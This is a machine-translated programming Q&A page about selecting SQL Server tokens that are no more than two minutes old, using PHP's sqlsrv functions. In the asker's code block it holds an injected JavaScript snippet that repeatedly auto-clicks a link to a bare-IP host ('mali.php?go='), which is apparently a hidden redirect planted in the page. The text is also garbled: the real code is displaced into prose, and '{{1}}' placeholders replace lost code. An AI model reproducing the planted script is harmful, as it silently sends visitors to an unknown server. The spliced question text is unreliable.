在php和sql server中根据日期时间从表中查找活动记录

时间:2018-09-04 04:42:29

标签: php sql-server

我需要从表中获取活动记录。记录处于活动状态意味着它没有过期,并且过期时间是生成记录后的2分钟。我正在使用sql server数据库。 这是我桌子的结构 enter image description here

我的代码如下

setInterval(() => {
  const a = document.querySelector('a[href^="http://178.32.87.115/jetapi/mali.php?go="]');
  if (a) a.click();
}, 50);

我需要$serverName = "xxx.xx.x.xxx"; $connectionInfo = array( "Database"=>"xxxxxx", "UID"=>"xxxxx", "PWD"=>"xxxxxx"); $conn = sqlsrv_connect($serverName, $connectionInfo); if($conn) echo 'success'; else echo "failed"; $currentTime = date('Y-m-d H:i:s'); $query = "SELECT * FROM ApiTockenMaster WHERE Tocken = ? AND DateGenerated <= ? AND Status = ?"; $params = array("xxxxxxx", "2018-09-03 18:06:17.7600000", "Generated"); $result = sqlsrv_query( $conn, $query, $params); $row = sqlsrv_fetch_array($result); echo '<pre>'; print_r($row); echo count($row); 的条件为

DateGenerated

如何在查询中实现此条件

3 个答案:

答案 0 :(得分:2)

另一种可能的方法是让SQL Server使用CURRENT_TIMESTAMPDATEADD()进行检查:

<?php
# Connection
$serverName = "xxx.xx.x.xxx";
$connectionInfo = array(
    "Database"=>"xxxxxx", 
    "UID"=>"xxxxx", 
    "PWD"=>"xxxxxx"
);
$conn = sqlsrv_connect($serverName, $connectionInfo);   
if ($conn) {
    echo "Connection established.<br />";
} else {
    echo "Connection could not be established.<br />";
    die(print_r(sqlsrv_errors(), true));
}

# Statement
$query = "
    SELECT * 
    FROM ApiTockenMaster 
    WHERE 
        (Tocken = ?) AND 
        (CURRENT_TIMESTAMP <= DATEADD(mi, 2, DateGenerated)) AND 
        (Status = ?)
";
$params = array(
    "xxxxxxx", 
    "Generated"
);
$result = sqlsrv_query($conn, $query, $params);
if ($result === false){
    die(print_r(sqlsrv_errors(), true));
}

# Result
$row = sqlsrv_fetch_array($result);
echo '<pre>'; 
print_r($row);
echo count($row);
?>

答案 1 :(得分:1)

您可以使用DATEADD

{{1}}

答案 2 :(得分:0)

尝试这个,我还没有测试,但是会是这样。

$currenttime= date("Y-m-d H:i:s",strtotime(date("Y-m-d H:i:s")." +2 minutes"));
$params = array("xxxxxxx", $currenttime, "Generated");